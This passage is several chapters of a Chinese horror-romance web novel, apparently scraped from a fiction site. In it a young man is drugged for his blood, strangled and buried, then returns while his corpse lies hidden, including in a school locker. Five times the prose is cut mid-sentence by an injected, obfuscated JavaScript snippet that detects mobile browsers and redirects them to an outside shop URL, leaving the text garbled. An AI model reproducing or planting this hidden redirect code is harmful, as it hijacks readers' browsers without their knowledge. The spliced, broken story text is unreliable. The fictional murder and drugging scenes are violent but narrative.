在他笨拙的言辞中,香川律冷冰冰的态度总算有了回温:“好了悠真,我也不想因为这种事情和你争吵,其实解决方法很简单,只要你拉黑这个人就好了。” 拉黑笹原吗……悠真低头看了一眼屏幕。 香川律笑了一声,将外套脱下放在衣架上,露出了一幅“果然如此啊”的表情:“没关系,舍不得的话就算了,不用和我解释什么。” 他解开领口,仰头向上,抒了一口气,没有说任何重话但悠真就是能明确的感受到律先生不愉快的心情。 笹原……那么抱歉了,反正本来以后也不打算再和笹原联系了。 悠真将笹原的联系方式拉黑,举着手机给香川律看:“已经解决了。“ 香川律总算是露出了和往常一样的笑脸:“果然悠真还是比较在乎我,这样我就放心了。” 律先生干嘛把自己形容得很没有安全感的样子。 香川律这样的人无论怎么看都不需要没有安全感吧。 是在撒娇吗,一定是在撒娇吧…… 好像完全看穿了他内心在想什么,香川律把下巴垫在了悠真的肩膀上,外套已经脱下,只隔了一层薄薄的羊绒衫,悠真好像能感觉到对方的体温。 香川律:“看出来了啊,悠真。” 悠真:“啊?” 香川律:“偶尔这样对悠真撒娇一下也挺管用的。” 悠真吃惊地捂住嘴巴:“我刚才说了什么吗?律先生听到了?” 香川律笑起来,笑得身体一颤一颤的:“只要看着你的脸,你心里想的什么根本就不难猜到。” 悠真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023933|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“香川先生果然很厉害。” 香川律:“如果我真的厉害的话,就不会总是为悠真的事情而感到忐忑不安了。” 悠真:“我让您这么忐忑了吗?” 香川律想了想,闭起眼睛,好像要彻底睡在悠真肩膀上一样:“幸福比忐忑要多得多。” 悠真觉得,好像听到香川律说这句话,自己也觉得幸福起来。 他和律先生的感觉如此相同,每日都在忐忑和幸福中度过,但无论怎么说,就像律先生说的,幸福比忐忑要多得多。 烟花公司的人来实地勘察,悠真和仲代卓也一同前往。 仲代卓也背了一个黑色的像是登山包一样的背包,悠真看见还问了一声:“仲代先生晚上还要出去吗?” 仲代卓也微微一顿:“不是,只是一些笔和纸,帮助我随时能记录下灵感的。” 果然是作家。虽然悠真不太明白为什么笔和纸要用这样大的背包装着,但这是仲代先生的事情,出于礼貌他不应该多问。 山坡的位置定得很恰当,基本上没什么要更改的。仲代卓也要求现场观看了几种烟花,烟花公司又推荐了几款,仲代卓也又把心仪的几款烟花加入了清单。 聊到快十点才把所有的烟花定下来,烟花公司的人先离开,悠真把地面上散落的垃圾一个一个收拾好。 “仲代先生,如果您忙的话可以先回去,等我把这些东西收拾好……” 话还没有说完,他就觉得后颈处有一个细密的刺痛感,他想回头看一眼是什么虫子咬的,可随之而来的是眼前一阵黑,悠真就什么都不知道了。 看着倒在草地上的悠真,仲代卓也心满意足的收回针筒,取出准备好的抽血仪器。 他感到自己的血液都沸腾了起来,即将得到自己梦寐以求想要的东西。 看着血液从悠真的胳膊上沿着针管涌进袋子中,仲代卓也脸上的笑容越来越深。 一开始他只想要取400毫升,后来变成500毫升、600毫升。 黑夜之中芳香越发浓郁,在快要到700毫升时,仲代卓也终于忍住停了下来。 这些够他用一段时间了。 香气让人发狂发躁,在这样的狂躁中,仲代卓也只是把悠真随手放在路边的一棵树下,忽视了夜晚的久诹山并不是一个安全的地方。 他只想快点回去进行创作。他坚信他会用这种“特殊的墨水“创造出下一部超越自己原先所写的任何一部作品的文字。 仲代卓也快步走在夜晚的道路上。 “杂种,竟然敢拉黑我。” “下贱的东西,给点好脸色就不知道天高地厚了,得给教训才对。” 笹原健一开着车,骂骂咧咧地行驶在山路上。白天时他被白滨按着勉强完成了所有工作,直到晚上才得到自由。 他的面容扭曲到看不出本来俊美的模样,双眼肿胀发红像个发疯的精神病人。 “杂种,杂种……”他叫着,恍惚间又换上一幅可怜模样:“悠真,悠真,怎么能不理我啊,好狠心……” 情绪起落间,方向盘一个不稳,眼看着就要撞向路边的石头。 笹原健一一个急刹车,车头还是碰了上去。 他不耐烦地从车上下来检查情况,幸好只是磨损了一点漆皮,不影响驾驶。 就在笹原健一准备再次坐上车时,余光看见了有什么东西坐在路边,靠着一棵树,好像一个人。 “喂,你不会拍照了吧?给我删掉!我会给你钱的,你要多少……”笹原健一边说边没好气地走过去:“你这种人我见的多了,只要钱给的够就行了对吧,就像乞丐一样,开个数吧……悠真?” 笹原健一疑惑地停了下来。 车灯照在悠真脸上,他看起来比之前任何时候都苍白。 25.第 25 章 啊……是悠真啊,睡着的悠真呢。 笹原越走越近,撩起自己的头发,面容变得格外充满亲和力,就像出席某个媒体见面会一样,将自己最完美的一面表现了出来。 好像刚才那个扭曲着五官骂骂咧咧的人不是他一样:“悠真,你怎么睡在这里了?醒一醒,会着凉的,需要我送你回家吗?” 他轻轻拍着悠真的身体,却没想到对方直接倒向了自己怀中。 “悠真,你还好吧?”笹原忧心忡忡地又加大了声音。 而悠真依旧毫无反应。 “是晕倒了吗?低血糖吗还是什么……” 笹原摸了摸悠真的额头,发觉他的身体凉得吓人,要不是仍有轻微的鼻息,笹原差点都要被吓得跳起来。 他来的还真及时啊,悠真需要他的时候他就出现了。 悠真必须得好好感动一下。 笹原沾沾自喜着准备送悠真到附近的医院。 不过悠真还真是漂亮啊,就算是晕倒也还是这么漂亮,比平常更加白皙的面孔显出了一种脆弱之美,如同快凋零的樱花那种萧瑟的美感。平日里那双小鹿般易受惊吓的眼睛现在全然合起来,卷曲的睫毛比平时看得更加明显。 顺着柔美的线条向下,看到天鹅般的脖颈…… 笹原的眼睛骤然一紧。 悠真的雪白的脖颈上出现了暧昧的红色痕迹,隐隐露出高于衣领一点点。 他想也没想就伸手扯开了悠真的衣领,果然,在衣服掩盖下的部位更多。 从喉结到锁骨,还有其他看不见的地方,密密麻麻布满那种一看就知道做了什么的痕迹。 悠真背叛了他!悠真背叛了他! 悠真不知道和什么野女人野男人做出了这种事情!本该只属于他一个人的悠真已经属于别人了。也许不止一个人。 原来这些天不搭理他的时候都在和其他人一起快活吗?果然啊,悠真就是抛弃了他有了别人。以前那些装模作样、故作矜持的手段全部都是在玩弄他而已! 悠真就是个贱货! 笹原的大脑被震怒占据。 他着魔地抚摸着悠真的脖子,眼睛里的怒火渐渐将理智席卷的不剩一点。 活该啊悠真,不管你之前和谁在一起,现在都落到我手里了呢。 活该,去死。 如果不能属于我,那就去死。 笹原掐住了悠真的脖子。 即便是在昏迷中,窒息的感觉让悠真的肢体简短地挣扎了一下,但并没有太久。 笹原的动作又激烈又快速。 很快悠真就停止了呼吸。 直到手里的人再也没有动静,笹原才反应过来自己究竟做了什么事情。 他惊恐的松开手,悠真的身体随之滑落在地上。 笹原咽了咽口水:“不是,悠真,我没有……” 他跪坐在地上看着毫无生气的悠真,事情已经变得不可挽回。 不行,不可以! 他是笹原健一,他是演艺圈的宠儿,他怎么能做出这种事情!如果事情发酵的话他、笹原健一、他会完蛋的,一定不是他,一定不是他做的,他是被蛊惑了…… 耳边好像有一个恶魔的声音,告诉他那都怪悠真,都是悠真的错。 笹原像个没有知觉的木偶,搬起悠真的身体,走向密林深处。 …… 快十二点了,悠真还没有回来。 发过去的信息也是显示未读状态,香川律又等了一会儿,敲响了仲代卓也的房门。 敲了几下,房间门都没有打开。 就在香川律以为仲代卓也可能已经睡下准备回去的时候,房间门被打开了一道缝,仲代卓也只露出了一只眼睛。 “怎么了?”仲代卓也问。 香川律说:“舅舅,你之前说悠真没有和你一起回来,他说还有事情要做,那你知道他去哪里了吗?” 仲代卓也:“不知道,我和他不熟悉。” 香川律顿了一下:“好的,那你和他是在哪里分开的?” 仲代卓也:“……对面的山坡。” 香川律:“烟花公司确定的位置吗?” 仲代卓也:“我记不清楚了,律,我还要创作,不要再来打扰我。” 香川律露出一个看起来带着歉意的表情,眼底却有些微的冰冷。 这么晚没有回家、连个消息也没有的情况在悠真身上从来没有出现过。电话不接、消息不回就更让人担心了。 卓也舅舅说悠真没有和他一起回来,只说自己还有事情要做。对于这种说法香川律还算相信。 悠真是个做事很负责的人,也许他觉得还有一些细节方面需要调整,又不想麻烦别人,就自己一个人默默地做了。 这么晚了,山上并不安全,还容易迷路,如果被迷路被困在山里就很危险了。 香川律叫了几个保镖,快要出门的时候凛和遥也都从房间出来问怎么回事,听到说要去找悠真也都说要跟着一起去。 多个人多份力,香川律没有拒绝。 众人往烟花公司定点的方向搜寻,喊着悠真的名字。声音回荡在山林间,惊起夜晚停歇的鸟,扑簌簌一团黑影从枝头掠起,月光将它们投影在地面,变化成可以吞噬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037426|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的怪物。 香川律抬头看了一眼,觉得今日的月亮皎洁又清冷,比往常还要银白几分,像快即将滴水的冰。 他们从山坡上找到树林间,“青山悠真”的名字一遍又一遍被不断喊起,这些声音听到香川律耳中逐渐变成了一种乞求。 这些人都在乞求悠真快点出现,但是悠真并不搭理任何一个人。 香川律脚下踩到了一片不一样的触感,他拿着手电筒向下照射,看见了被泥土掩盖之下露出了一片衣角。 看到的那一刻他几乎一眼就认了出来。那是他最喜欢的悠真的那件纯白柔软的毛衣。 香川律僵硬地站在原地,心脏收紧,一阵冷风呼啸而过。 “哥,怎么了?”凛在他的身后迫切地问:“是找到悠真了吗?他在哪里?” 遥也跟过来:“什么什么?找到了吗?” 两个弟弟的声音将他从某种地方拉回来,身为兄长除了陷入情绪之外他还有其他的责任要做。 “不要过来。”香川律慢慢当即转过身。 香川凛没觉察出其中的古怪:“怎么了吗?哥怎么那种表情啊,怪让人担心的。” 香川律微微顿了一下,将表情调整自然:“悠真发消息过来了。” 凛:“什么?” 香川律:“说是今天住在同学家里。我们不用再找了。” 香川遥:“没事就好。” 香川凛:“什么嘛,怎么不早点发消息!乌龟就是乌龟,动作真慢,还得我……我们为他担心了这么久。” “好了。”香川律说:“回家吧,凛,遥,你们先回去,我去叫那边的人。” “好啦,好啦。” 等凛和遥的身影消失,香川律电话通知保镖可以回去了,很快,整片山林里只有他一个人的影子。 香川律低下身,徒手挖开那些泥土。 一开始是手、后来是胳膊、腹部……最后悠真的整个身体在他面前露出来了。 他拨开悠真脸上的泥土,明明悠真离他这么近,他也只是勉强看清了悠真的面容。 他的手指一点点滑过悠真颈间的伤痕,抱起悠真,把头靠在悠真的肩膀上:“说点话吧,悠真……随便说点什么。” 香川律听见自己的声音有些发抖。 他没有听见悠真的声音,他又等了很久很久,久到夜空中升腾起一团乌云,月光只能从缝隙里漏出几缕,变得昏暗,摇摇欲坠,即将坍塌。 悠真应该是不会回答他这句话了,香川律想。 于是他换了一个问题。 “很害怕吗,悠真?”他问。 26.第 26 章 香川律抱起悠真的身体,慢慢往回走。 天地间很安静,只有一道闪电的亮光划过,紧接着是一阵轰隆声,雨还没下,但应该快了。 一双眼睛注视着两人的身影,香川律没有察觉。 那双眼睛的主人好像觉得很有趣似的,轻轻眯了一下。 哈。 从他的口中发出一声意味模糊的笑声。 香川家的人真是有趣啊。 …… 地下室。香川律把悠真暂且先放在了这里,这里很少有人会过来。 摸着悠真的脸庞,香川律像往常对情人甜言蜜语一样的说着:“委屈你了悠真,先暂且住在这里。” 法律,法律对伤害悠真的人的惩罚是远远不够的。香川律打算聘请私家侦探,用自己的方式来解恨。 地下室是昏暗的、杂乱的,悠真也许会害怕。 香川律陪着悠真坐了很久。 悠真的皮肤还是那样光洁柔软,容颜动人,除了沾上泥土有点污渍之外,其他……看起来和平时的悠真没有任何区别,只是睡得沉了一点而已。 香川律轻轻捏着他的手,就像从前轻轻捏着悠真的手,放在唇边亲吻了一下。如果是平时这时候,悠真多半会露出不好意思的神情,脸庞红红的,但是眼睛却很开心。 外面有什么嘈杂的声音,天空中有雷声,雨下了下来,这应该是一场暴风雨,暴风雨杂乱无章的声音中混合着人说话的声音。 是凛的声音,好像是凛在叫他。 已经凌晨两点了,这个时间点凛找他做什么。 香川律整理了一下衣服,从地下室走上去。 “哥,律哥,你人呢?这是怎么回事,你不是说……嗯?你怎么从那里上来了?”香川凛像只无头苍蝇到处乱找,刚好看见香川律从楼梯走上来。 香川律皱眉:“凛,声音小点,已经很晚了,你要把大家都吵醒吗?” 香川凛撇了撇嘴,小声嘟囔:“干嘛突然这么凶?就算工作上有不顺心的事情也不能发泄在家里最亲近的弟弟身上吧……” 香川律:“你说什么?声音大一点。” 香川凛想起来正事:“哦对了,你不是说悠真今晚住在同学家里吗?” “……是这样的。” 香川凛:“可是那家伙回来了,还摆出一幅可怜样,说自己钥匙丢了,幸好我听见了敲门声,真蠢,大半夜跑回来难道不知道不安全吗,也不知道是不是和同学吵架了,他那种个性很难和别人吵架的吧,喂悠真……欸?我没叫他进来吗?” 香川律紧紧盯着他:“凛,你说的是什么意思?” “哈?我说的很明白了吧……哥你今天到底是怎么回事,一幅魂不守舍的样子……”香川凛一边说一边向着门口走,香川律紧紧跟在他身后。 大门正开着,风往厅堂里灌,灯没有打开,一开始香川律只隐隐看见有一个身影站在门口。 一道电光闪过,他看清了站在那里的人。 悠真,青山悠真。 悠真浑身湿透,从身上滴出水来,脚下一小团水渍,仿佛一团阴影。 他冷得直打哆嗦,就像凛说的那样,正可怜兮兮地看进来。 “乌龟你干嘛不进来?”凛莫名其妙地问。 悠真:“凛,能先给我拿条毛巾吗?我身上湿得厉害,我怕把地毯全弄上水,律先生,您还好吗?您脸色看起来不太好看,是风太大了吗?抱歉我很快关门。” 是悠真在说话吗…… 如果眼前这个“悠真”在说话的话,那地下室里那个悠真又是谁? 香川律慢慢走过去:“悠真。” 悠真对他露出了一个笑容。 香川律看起来十分镇定,至少在场没有任何一个人能看出他的异常:“你今天去了哪里?” “我去处理宴会上烟花的事情了。”悠真回答。 香川律:“可是现在已经两点钟了,怎么这么晚才回来?” 悠真想了一下,脑海中记忆好像有一段断层了似的,又像是笼罩上了一层雾气,他自己也迷迷糊糊说不上所以然:“我……有点想不起来了,好像是……烟花公司实地试点的时候留下了垃圾,我想收拾一下垃圾……就让仲代先生先回来了……我就、我就……” 悠真腼腆地笑了一下:“好像是在哪里睡着了……我忘记了……醒来好像就已经淋湿了……” 香川凛把浴巾扔到悠真身上,打了个哈欠:“别聊天了,快点进来睡觉,这么晚只有我起来给你开门,还不赶紧对我说感谢的话。” 悠真立刻说了“谢谢”。香川凛这才心满意足地回了房间。 只剩香川律和悠真两个人了。 如果说刚才疑惑的情绪更多,那么现在内心被失而复得的欣喜占据了上风。 一切不合理的地方都被忽略,就算他的脊梁处现在正冒着凉气香川律依然能做到视而不见。 一模一样,眼前的悠真就是悠真。样貌、声音、表情、小动作……悠真就是悠真,他没理由感到恐惧。 香川律拉住他的胳膊,动作轻柔地将他拽进来。 “律先生,水、水还没有擦干净……” “没关系,明天叫人来打扫就行了。” “可是会麻烦到……” “没有可是,”香川律低头看他:“是走回来的吗?” 悠真想了想:“好像是的……我可能太困了, 我的脑袋不是很清醒。” 香川律微笑着,用浴巾在悠真的脖子上围了两圈,看起来像是给他围上了一条围巾,这样看起来悠真更可爱了,脸色也好看了很多。、 香川律:“去洗个热水澡,别生病了。” 悠真乖乖地“哦”了一声,往楼上走,走了几步发现香川律并没有跟上来,他疑惑地问:“律先生,您不回房间吗?” 香川律:“我马上就来。” 眼看着悠真上了楼,香川律才转身走向地下室。 地下室的门打开,那个“悠真”还在那里。 香川律走过去摸了摸他的脑袋,手伸进“悠真”的口袋里,摸到了一把钥匙。 香川家的钥匙。 眼前的“悠真”安静地坐在地下室的角落,香川律无言地看着他,手心里握着那把钥匙。 良久,他开了口。 “晚安,悠真。” 香川律关上地下室的门。 回到房间,悠真慢吞吞从浴室里走出来:“您去哪里了,怎么这么长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044100|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间?” 香川律对他露出笑容,想要抬手触碰悠真却发现自己手腕处还有未清理干净的泥土,身上也是。刚才环境昏暗,凛和悠真都没有看到。 香川律收回手,将钥匙放在了桌上:“去找钥匙了,拿好,不要再弄丢了。” 悠真高兴地走过来,拿起钥匙:“重新给我找了一把备用钥匙吗,谢谢,不知道为什么,这把钥匙看起来和我那把真像,不过钥匙好像长得都大同小异……” 说着说着,他停了下来。香川律感觉好像怪怪的,正用一种说不上来的目光注视着他,那种感觉……很怕他下一秒不见一样。 “律先生,律先生。”悠真叫了他两声,香川律才回过神。 “不好意思,我刚才走神了,你说什么?” 悠真:“也没什么事情。” 香川律:“不过悠真,真的一点也不记得了吗?” “昂,”悠真不好意思地笑了一下:“我有时候是会有这种情况,可能最近要处理的事情太多了。” 香川律轻声问:“喉咙疼吗?” 喉咙?为什么会问到喉咙?悠真有点奇怪地摸了一下自己的脖子,讪讪一笑:“不疼,虽然最近沟通的工作做得比较多,但其实也没有说太多的话,喉咙……没有什么感觉的。” “悠真,休学吧,把兼职变成全职怎么样,这份工作的工资我会开到最优厚的待遇。”香川律冷不丁地开口:“反正这里对你而言是最安全的,你也并不喜欢和太多人打交道,先休学一年试一试,怎么样?” “啊?”悠真呆呆看着香川律。 休学这种事情他还没有想过,不过身边确实有同学休学一年用来打工,赚足学费和生活费之后再继续完成学业,说实话在香川家和学校两边跑的这段时间里他隐约感到有点吃力,和律先生在一起之后更要分出时间来陪他…… 总而言之,也许这个提议是可行的,全职打工一年,之后在上学他应该会轻松一点。 不过……律先生身上是怎么回事。 悠真终于注意到了香川律沾上泥土的衣服:“律先生,您摔跤了吗?” 香川律盯着他:“一不小心就容易摔跟头,是我没有做好。” 悠真走上前,心疼地拉着他的手反复翻看,看有没有受伤的地方,一着急语速都变快了:“这种时候干嘛还反思自己的问题,律先生就是太容易把责任归结到自己身上了,手指磨破了,您没感觉到吗……” 是那个悠真,确实是他的悠真。 香川律在这一刻彻底松懈下来。 “悠真,”他认真地说:“以后就一直待在香川家,哪里也不要去,好不好?” 悠真怔怔看着香川律,在那一刻他感觉香川律的嘴唇有些没有血色,还有些……在被努力压制的颤抖。 啊……怎么律先生看起来有点……怪可怜的。 悠真答应了。 清晨刚出房间门,迎面就遇上了遥的朋友之一佐直琉斗。 “悠真,”佐直笑眯眯地歪了下脑袋,看起来像只狡猾的小狐狸:“我的充电器坏了,能给我拿根新的吗?” 悠真:“好的,请稍等。” 佐直的声音上扬:“那么,我在房间等你,快点哦~” 27.第 27 章 找到佐直要的充电器,悠真来到他的房间。一进门他就被一双温热的手蒙住了眼睛。 悠真:“佐直,不要闹了。” 佐直笑嘻嘻在他身后,故意贴近,把声音放的又轻又朦胧:“不是说了要叫琉斗的吗?” 佐直给悠真的印象是个自来熟的人,喜欢和他亲近,还总是有意无意地做出一些逾越社交距离的事情。 悠真对他的态度比较小心,结果发现这个人好像对自己想要亲近的人都是这样的,和遥在一块儿时他也总是勾肩搭背的。 大概性格就是如此吧。 反正和遥的这些朋友他一般也见不上几面,他也就没有那么戒备佐直了。 “悠真,”佐直慢悠悠地问:“你为什么在香川家工作呢?报酬很丰厚吗?” “报酬是一方面,但不止是报酬的问题……这样说话好奇怪,佐直,快把手从我眼睛上拿下来啦。” 佐直笑个不停:“真会撒娇悠真,但是我不要,回答完我的全部问题才行。” 佐直真是个难缠的家伙。 悠真半是敷衍半是认真的回答:“还有很大一部分原因是因为香川家的人,香川家的人都很好啊,他们……对我都很好。” 像是听到了什么有趣的话,佐直笑得浑身都颤抖起来,他的颤动传递到悠真的身上,让悠真感到一丝不舒服。 佐直慢慢将手放下来,重获光明的悠真冷不丁就看见对方凑过来的一张脸,漂亮的狭长眼睛中盛满笑意,但给人一种奇异的、并不是完全友善的笑容的感觉。 佐直漫不经心地:“我看到悠真你从律哥的房间出来呢?你和他很亲密吗,也是因为他人好的原因?” 佐直他们几个都跟着遥一起叫香川律“律哥”。 “咳、咳……”被说穿这种令人不好意思的事情,悠真捂着嘴巴咳嗽了两声:“律先生……人确实很好,帮助了我很多。” “律哥在你心里这么好吗……那么你被骗了啊,悠真。”佐直眯起眼睛,脸上带着一种莫名的兴奋:“律哥背着我们……最重要是背着你,做了不少‘好事’呢,悠真你每天和他在一起,难道一点感觉都没有吗?” 悠真皱了一下眉头,佐直是遥邀请的客人,在香川家居住的这几天也不曾被薄待过,哪有这样的客人说主人坏话的道理。 悠真:“不能这样说话,佐直。” “可是事实就是如此,”佐直握住悠真的手腕:“他为什么对你这么好呢?也许是因为对你做了亏心事吧……悠真,要我带你去看看真相是什么吗?你会感谢我的。” 佐直说的话悠真一个字也不明白,而对方在他耳边约他晚上时候再见,准确来说是深夜,等到香川律睡着的时候。 悠真本来一点也不想答应。 直到对方说出:“你不好奇昨天晚上发生了什么事情吗,难道那几个小时里模糊不清的记忆你不想弄清楚吗?” 昨天晚上,就是律先生看起来有些奇怪的昨天晚上,悠真被说得动摇了。 深夜,香川律熟睡,悠真披起衣服来到佐直琉斗的房间门口,对方好像一直在等他,不需要敲门房间门就被拉开,佐直看了一下四周,笑着用食指摆在唇前“嘘”了一声:“跟我来。” 佐直的目的地是地下室,悠真知道这个地方,但香川家很少用到地下室,这么长之间他也只来过一两次,当时并不觉得这个地方有什么奇怪的。 地下室的门锁起来了,悠真记得之前这里是不上锁的。 “锁起来了。”他转头告诉佐直。 佐直却是一幅无所谓的样子:“没关系,我来。” 佐直琉斗上前,从口袋里拿出一个精巧的小银针一样的东西,那根银针深入锁孔,他捣鼓几下,不一会儿锁就打开了。 “这种老式门锁很好开的。”佐直轻松一笑,意识到悠真正在看着自己,他耸耸肩:“干嘛,我不用这个干坏事的,纯属个人一点小爱好。” 在悠真就要走进去时,佐直浅浅地伸手拦了一下:“悠真,做好心理准备,里面的东西可能会让你感到害怕。” 会让他感到害怕的东西……究竟是什么?佐直这样说好像要故意激起他的好奇一样,让他非看不可。 悠真走进地下室。 和他之前来的时候没有太多变化,没有放太多东西,不至于拥挤,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044765|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为地下室不常有人打扫,粉尘的气味还是有些重,悠真向着深处走,越过几个堆砌起来的纸箱子,在纸箱子后面,一个人靠着墙,保持着一个坐在角落里的姿势。 他以为自己眼花了,忍着寒意又看了一眼。 那张面孔他再熟悉不过了,每一次,每一次他照镜子都会看见那张最熟悉的脸。他看过无数次,没有一个人比他更熟悉那张脸、那个身体。 就像所有人看见另一个自己的反应一样,悠真感到惊恐、无措。 尤其是在发现那其实不能算是另一个“自己”,只是另一个“身体”,那副身躯已经失去生命体征,脖子上有一圈青紫色痕迹,很容易引起人的联想。 昨天晚上,律先生问他——喉咙疼吗。 为什么会…… 悠真的瞳孔微微放大,手下意识的摸着自己的脖子,眼神中流露处一种很容易就令人产生不忍的神情。 佐直琉斗原本还笑嘻嘻的,现在笑容也变得浅了。 “看吧,”他小声地说:“看到之后,是想起来什么了吗?” 悠真还站在原来的位置上,好像连呼吸都不会了。 佐直:“所以我就跟你说啊,你被骗了悠真,香川家的人真的有那么好吗,好像也不是那么一回事嘛,如果真的是好人的话,怎么会在自家地下室里藏这种东西。” 佐直一边说着,一边瞥着悠真,他突然觉得悠真好像有哪里变得不太一样了,眼前站着的这个还是刚才和他一起进门的那个人,可是……是眼神还是哪里怎么回事,看起来有点古怪莫测。 也许是太震惊被吓到了吧。 悠真终于开口:“你不害怕吗,佐直?” 佐直:“我?你说我吗?我完全不害怕呢,悠真,毕竟不管怎么样,那都是悠真你嘛。” 悠真淡淡笑了一下:“这么说的话,那你好像也不是很正常。” 悠真很少敢在他人面前露出太多笑容,透过空气中漂浮的尘雾,看见悠真表情的佐直愣了一下,脑袋好像瞬间被清空,唯一能留下的东西就是悠真的漂亮的笑脸。 像团被月光包起来、危险又神秘的、没有谜底的谜。 28.第 28 章 “今天我要出去一趟。”悠真简单收拾着东西。 香川律刚醒就看见在房间里忙忙碌碌地一个身影,听见悠真说要离开这里,香川律下意识皱眉头:“如果是要办理休学手续的事情我让人去做就可以了,而且今天是周六,周六的话不一定会工作人员。” 悠真的手一顿,朝着香川律露出一个安抚的笑容:“不,我还有其他事情要做……我会尽快回来的,不要担心。” 悠真走到香川律的床榻一侧,伸出手轻轻拨弄香川律的头发,直到手指深入发丝里,又轻轻拉扯,下手不知轻重,丝毫不在意对方是不是会被扯疼。 香川律一点不生气,反而被他的举动完完全全的取悦到了:“变得调皮了,悠真。” 悠真促狭地笑了一下。 香川律不着痕迹地打探:“今天要去哪里?有什么非得亲自去做的事情吗?” 悠真的手指停顿了一下,像琴谱上空了两拍的休止符:“啊……也不是什么大不了的事情,一点点小事而已,感觉律先生很紧张的样子,有什么我不知道的事情发生了吗?” 香川律从床上坐起来:“是因为……我关心悠真。” 他系上衣服的扣子:“你也知道,我不想再有上次游乐园里那种事情发生,所以无论去哪里,还是我亲自送你比较好。” 悠真没有拒绝,接受了香川律的好意,他说了一个香川律出乎意料的地方。 “高中吗?要回高中?”香川没有想到。 悠真:“对,有东西落在那里了,前几天才突然想到的,想回去碰碰运气,看是不是还在那里。” “周六的话高中可以进校吗?” 悠真:“已经和之前的校长联系过了,他允许了。” 织田校长,在香川律醒来之前悠真已经和织田校长通过电话了。 明明他的要求很不合规,又是一大清早就打电话过去,一般情况下对方理应生气才对。但一听到他的声音,织田校长就换上了一种谄媚的语气,现在想起来还是令人起鸡皮疙瘩,高中那些不太美妙的记忆又回来了。 不过总算,他的要求得到了允许。 香川律盯着悠真的眼睛:“不愧是悠真啊。” 就算没有他的权势帮助,任何悠真想要的东西,其实他都可以凭借自己得到。 从某种程度上来说,悠真……是一个比他厉害的人,可能这一点悠真自己都没有意识到。 香川律:“让我陪着你。” 悠真没有拒绝:“如果律先生你坚持的话……那也只好这样了。” 悠真所在的高中是一所普通的公立高中,在郊区。两栋楼很老旧,因为生源和少子化的原因,年年都有教室多空出来,今年只有一半的教室在使用中。 香川律很少在他的生活中看见这样的学校,即使看见,大概也是在什么慈善活动中,如果悠真还在这里念书的话,他大概要投一笔修缮资金给这种学校才能放心。 悠真拒绝香川律和他一起进去,笑眯眯地说自己很快就出来,反正只是去找个东西而已。 “给我半个小时,就半个小时,什么事情也不会有的,律先生,拜托了。” 只要悠真口中说出“拜托”这样的字眼,香川律就没有办法拒绝。如果悠真半个小时还不出来,他再进去好了。 他看着悠真走进学校,坐在车中,拿出一根烟。 香川律感觉到烦躁,他不知道这烦躁的来源,他也不能再任何人面前表露出来自己的压力。顶着香川家长子的位置,他已经习惯隐藏了。 悠真,只要悠真在身边,他就没关系,说到底,他现在根本没有办法离开悠真。 假期的校园格外安静,故地重游,那些该想起的、不该想起的东西都一股脑涌过来,悠真有点喘不过气。 沿着记忆中的路线,他回到从前的班级。 今年这个教室被空出来了,保持着他们毕业时候的状貌。 储物柜上还贴着他们的名字,悠真在一群令人厌恶的名字中找到了自己的名字,但是在帖在自己名字的储物柜旁边,还有一个锁着的,姓名牌被涂黑了的柜子。 悠真用把从佐直那里借来的银针插了进去,就像佐直说的,这种老式的锁是最容易开的。 潘多拉的魔盒,罪恶也好、嫉妒也好、仇恨也好、暴力也好……犹豫过后总是要打开的。 悠真对准锁孔,按照佐直教得那样轻轻一转。 一股奇异的香气从里面透出。 一个半腐烂的躯干出现在他面前,在狭小的空间里,这个身体只能紧缩着,它的身上还穿着高中制服,胸前的名牌依然可以辨认。 青山悠真。 啊,悠真面无表情地想,原来是真的呢,高三D班的悠真,当时果然没有逃出来。 就算藏得再好,也经不住整个班级人员疯狂的搜索,那个时候还是被找到了。 失去理智的学生打开柜门,看见了正在发抖的悠真。 “如果悠真这么不想属于我们,那就永远待在这里好了,这样悠真就是我们大家的了。” 领头的人带着诡异笑容,他的提议得到了所有人的附和。 